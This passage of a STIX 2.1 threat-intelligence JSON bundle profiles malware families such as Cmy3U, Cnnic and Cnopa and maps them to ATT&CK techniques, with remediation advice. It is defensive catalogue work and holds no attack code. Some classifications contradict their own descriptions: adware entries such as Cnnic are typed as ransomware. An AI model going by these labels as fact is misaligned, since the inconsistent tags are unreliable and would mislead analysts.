severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Cmhfbw9r",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cmhfbw9R",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cmhfbw9r"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21885d54-a268-5194-8212-4d3295662e58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14e36f2d-4657-5845-a2fb-85ab172e691e",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cmhfbw9R exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49aac2cf-9952-5554-9d31-4605d1e48381",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14e36f2d-4657-5845-a2fb-85ab172e691e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cmhfbw9R exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--520cb279-7d45-5872-9793-4b8a3fac69d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14e36f2d-4657-5845-a2fb-85ab172e691e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cmhfbw9R exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d753f7d0-9d81-526f-a200-1ce84e2caacd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14e36f2d-4657-5845-a2fb-85ab172e691e",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cmhfbw9R exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--409cc57b-d851-5742-b6e8-b17182afa827",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cmy3U",
      "description": "Cmy3u (classified across security vendors as Ransom:Win32/Cmy3u, Trojan-Ransom.Win32.Cmy3u, and Win32/Cmy3u) is a targeted crypto-ransomware family engineered to rapidly compromise and encrypt Windows client workstations and file servers. Distributed via spear-phishing emails containing weaponized office documents, malicious downloader scripts, and credential abuse over exposed Remote Desktop Protocol (RDP) connections, Cmy3u establishes execution privileges before initiating local and network storage discovery. The ransomware scans all attached fixed, removable, and SMB network drives, targeting enterprise documents, databases, system backups, and virtual machine disk images while selectively skipping core Windows operating system files to keep the system bootable. It uses AES-256 symmetric encryption to lock files and appends custom extensions, generating ransom instructions in text and HTML formats directing victims to contact threat actors via Tor-hosted negotiation panels. Furthermore, Cmy3u executes administrative shell commands to delete Volume Shadow Copies and disable automated startup repair. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Cmy3u",
        "Trojan-Ransom.Win32.Cmy3u",
        "Win32/Cmy3u",
        "Cmy3u Ransomware",
        "Ransom.Cmy3u"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cmy3U",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cmy3u"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f32b1a0-d74c-57e8-854f-e7b2059f7a82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--409cc57b-d851-5742-b6e8-b17182afa827",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cmy3U exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b2e2330-5f3d-570b-bf8b-47a1db7523cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--409cc57b-d851-5742-b6e8-b17182afa827",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cmy3U exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf3329bc-ed35-5999-b452-57d297ed0eb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--409cc57b-d851-5742-b6e8-b17182afa827",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cmy3U exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--110f6bf4-5451-5daa-afbd-c2b79e6173db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--409cc57b-d851-5742-b6e8-b17182afa827",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cmy3U exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c80e6ec7-ecbe-5225-a298-a7e288a56a34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--409cc57b-d851-5742-b6e8-b17182afa827",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cmy3U exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--227501ad-2940-59a5-b3fb-f138ed592604",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cnbtech",
      "description": "Adware:Win32/Cnbtech is an intrusive adware component designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Cnbtech</b><br>To an end-user, Cnbtech manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Cnbtech is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cnbtech",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cnbtech"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--297223c7-1fc4-5990-a1bb-8f2b7c5eb6c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--227501ad-2940-59a5-b3fb-f138ed592604",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnbtech exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e0249a6-fe81-59f8-80d3-a1b2d4dc18da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--227501ad-2940-59a5-b3fb-f138ed592604",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnbtech exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41cbb965-1464-5783-8a92-96d55bfb6837",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--227501ad-2940-59a5-b3fb-f138ed592604",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnbtech exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a6d4696-e251-5017-b206-813402843035",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--227501ad-2940-59a5-b3fb-f138ed592604",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnbtech exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--df8aab38-8b34-5413-afed-826b1b34512b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cnnic",
      "description": "<h3>Executive Summary</h3>\nCNNIC (often associated with the China Internet Network Information Center) in a cybersecurity context typically refers to a classification of highly aggressive Adware, Potentially Unwanted Programs (PUPs), and browser hijackers that are frequently bundled with localized Chinese software. These applications severely degrade system performance, hijack browser settings, and forcefully inject advertisements while resisting standard uninstallation methods.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCNNIC-related adware is almost exclusively distributed via software bundling. Users typically encounter it when downloading \"free\" software from third-party aggregators or localized application portals. The adware is installed silently in the background or via deceptive, pre-checked opt-out boxes during the primary software's installation process.\n\nUpon execution, the software establishes deep integration with the system's web browsers:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The adware installs persistent Browser Helper Objects (BHOs) and malicious extensions. It modifies the browser's default homepage, search engine, and new tab page to route all traffic through localized, affiliate-monetized portals (often utilizing Baidu or similar localized search engines).</li>\n<li><strong>DOM Manipulation and Ad Injection:</strong> It intercepts the rendering of legitimate websites, injecting its own JavaScript to overlay pages with pop-up ads and sliding banners.</li>\n<li><strong>Persistence and Self-Defense:</strong> Many variants categorized under this umbrella employ rootkit-like techniques (modifying system drivers or deep registry hives) to prevent users from changing their browser settings back to default or uninstalling the adware via the standard Control Panel.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile CNNIC-related adware is typically not designed for data destruction like ransomware, it poses a severe threat to system stability and user productivity. The aggressive persistence mechanisms make it extremely difficult for average users to remove, and the constant ad injection consumes massive system resources.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive self-defense mechanisms, it may be necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's watchdog processes from launching.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and browser extensions.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is required to purge any remaining malicious extensions or modified search preferences.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.CNNIC",
        "PUP.CNNIC",
        "Win32/CNNIC"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cnnic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cnnic"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7da7ef9b-91d9-5dbf-bd93-d34686547742",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df8aab38-8b34-5413-afed-826b1b34512b",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnnic exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--014cdc6e-fe22-51fc-bf46-bad317c5c97e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df8aab38-8b34-5413-afed-826b1b34512b",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnnic exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60a360fa-18aa-55b8-8627-0c0cca6ed088",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df8aab38-8b34-5413-afed-826b1b34512b",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnnic exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ecff79b6-ac14-5342-83c7-1ccfa47ed37b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cnopa",
      "description": "Trojan:Win32/Cnopa is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cnopa</b><br>To an end-user, a Cnopa infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cnopa is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cnopa is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Cnopa frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cnopa reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cnopa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cnopa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20c0f769-942f-565e-8ee0-c966200071e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ecff79b6-ac14-5342-83c7-1ccfa47ed37b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnopa exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f50910c-140e-5282-b6f7-7ad0a8788be8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ecff79b6-ac14-5342-83c7-1ccfa47ed37b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnopa exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9974afee-3f59-5cae-9556-e722ec7f6e50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ecff79b6-ac14-5342-83c7-1ccfa47ed37b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnopa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ceb8913-1c26-54a0-9104-bcf6f1bcdcbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ecff79b6-ac14-5342-83c7-1ccfa47ed37b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnopa exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf78e024-b586-5aa0-b3eb-d8a4a7fdce20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ecff79b6-ac14-5342-83c7-1ccfa47ed37b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnopa exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--072a53bb-9e45-5c88-a616-453173b8406a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cnsmin",
      "description": "Adware:Win32/Cnsmin is a classic, highly persistent Browser Hijacker and adware family, originating in the early 2000s and strongly associated with the Chinese search engine '3721'. Its primary goal is monetization through forced ad impressions, affiliate link redirection, and hijacking the user's default search engine (`T1189`).<br><br><b>Understanding Cnsmin (Browser Hijacking)</b><br>To an end-user, Cnsmin makes the internet nearly unusable. Legitimate search results are replaced with sponsored links, the homepage is forcibly changed, and attempts to revert these settings fail. For an IT department, Cnsmin is a security risk because the adware networks it uses are often compromised, serving as vectors for more severe malware (malvertising). It was notorious for its aggressive persistence mechanisms, acting almost like a rootkit to protect its registry keys.<br><br><b>Execution and Hijacking Mechanics</b><br>Cnsmin is typically distributed via pay-per-install (PPI) networks, bundled with freeware, or installed via ActiveX drive-by downloads on malicious sites. Upon execution, it installs itself deep within the OS. It hooks into the browser (IE, Chrome) using BHOs (Browser Helper Objects) or malicious extensions (`T1176`). To prevent easy removal, Cnsmin modifies the Windows Registry (specifically locking search provider and homepage keys) (`T1562.001`) and uses a background service (`T1543.003`) to constantly monitor and revert any user attempts to fix the browser settings.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to secondary malware. Host-based IoCs include the presence of unexpected browser extensions (BHOs), unauthorized modifications to browser policy registry keys (`HKCU\\Software\\Microsoft\\Internet Explorer\\Main`), and unexpected background services restoring these keys. Network IoCs involve constant HTTP/HTTPS requests to known advertising networks and the 3721 domain infrastructure. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cnsmin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cnsmin"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8c7e644-3eba-505a-b789-e66f8849160c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--072a53bb-9e45-5c88-a616-453173b8406a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnsmin exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles or ActiveX))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--024aaf35-45b3-5f36-867b-087bacd2acb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--072a53bb-9e45-5c88-a616-453173b8406a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnsmin exhibits technique T1176 (Browser Extensions (Using BHOs to hijack web traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0be0e81-db58-54fd-9a20-e4b85175cf24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--072a53bb-9e45-5c88-a616-453173b8406a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cnsmin exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Aggressively protecting its registry keys from removal))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2a49f1e9-4cab-5ee1-b964-7c97fb195813",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cntads",
      "description": "<h3>Executive Summary</h3>\nCntads is a highly persistent adware family and Potentially Unwanted Program (PUP) engineered to hijack web traffic and bombard users with unsolicited advertising content. It is designed purely for financial gain, generating revenue for its operators through pay-per-click (PPC) and pay-per-view (PPV) affiliate schemes.\n\n<h3>Infection Vector and Operational Tactics</h3>\nCntads primarily utilizes software bundling as its distribution mechanism. It is frequently hidden within the custom installers of \"free\" software (like media converters or download managers) hosted on third-party aggregation sites.\n\nUpon installation, Cntads deeply embeds itself into the operating system and installed web browsers. Its core disruptive behaviors include:\n<ul>\n<li><strong>Aggressive Ad Injection:</strong> Cntads injects JavaScript into active browsing sessions, overlaying legitimate websites with intrusive pop-ups, pop-unders, and banner advertisements. It often highlights random words in text, turning them into sponsored hyperlinks.</li>\n<li><strong>Browser Hijacking:</strong> The adware frequently alters the default search engine and homepage to direct all user queries through a custom, affiliate-linked search portal.</li>\n<li><strong>Persistence Mechanisms:</strong> Cntads is notoriously difficult to remove manually. It utilizes hidden scheduled tasks, malicious browser extensions, and registry run keys to automatically reinstall itself if basic removal attempts are made.</li>\n</ul>\n\n<h3>Privacy and Security Implications</h3>\nWhile Cntads is focused on advertising, it poses a severe threat to user privacy. The adware continuously tracks search queries, browsing history, and IP data to serve targeted ads. Furthermore, the aggressive nature of the injected ads frequently exposes users to \"malvertising,\" increasing the risk of secondary infections from exploit kits or tech support scams.\n\n<h3>Mitigation and Removal</h3>\n<ul>\n<li><strong>Comprehensive EPP Scanning:</strong> Utilize enterprise-grade anti-malware solutions to detect and quarantine the core Cntads executables and associated dynamic link libraries (DLLs).</li>\n<li><strong>Browser Reset and Extension Removal:</strong> Manually delete all suspicious browser extensions and perform a full reset of the affected web browsers to clear hijacked search and homepage settings.</li>\n<li><strong>Task Scheduler Audit:</strong> Open the Windows Task Scheduler (`taskschd.msc`) and manually delete any anomalous tasks created by Cntads to ensure persistence is broken.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Cntads",
        "PUP.Cntads",
        "Cntads Adware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cntads",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cntads"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad1a4dd0-e66e-5ca7-b57e-339b6080a04a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a49f1e9-4cab-5ee1-b964-7c97fb195813",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cntads exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2fd21f4-4244-5baf-96ce-4c3ca314039d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a49f1e9-4cab-5ee1-b964-7c97fb195813",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
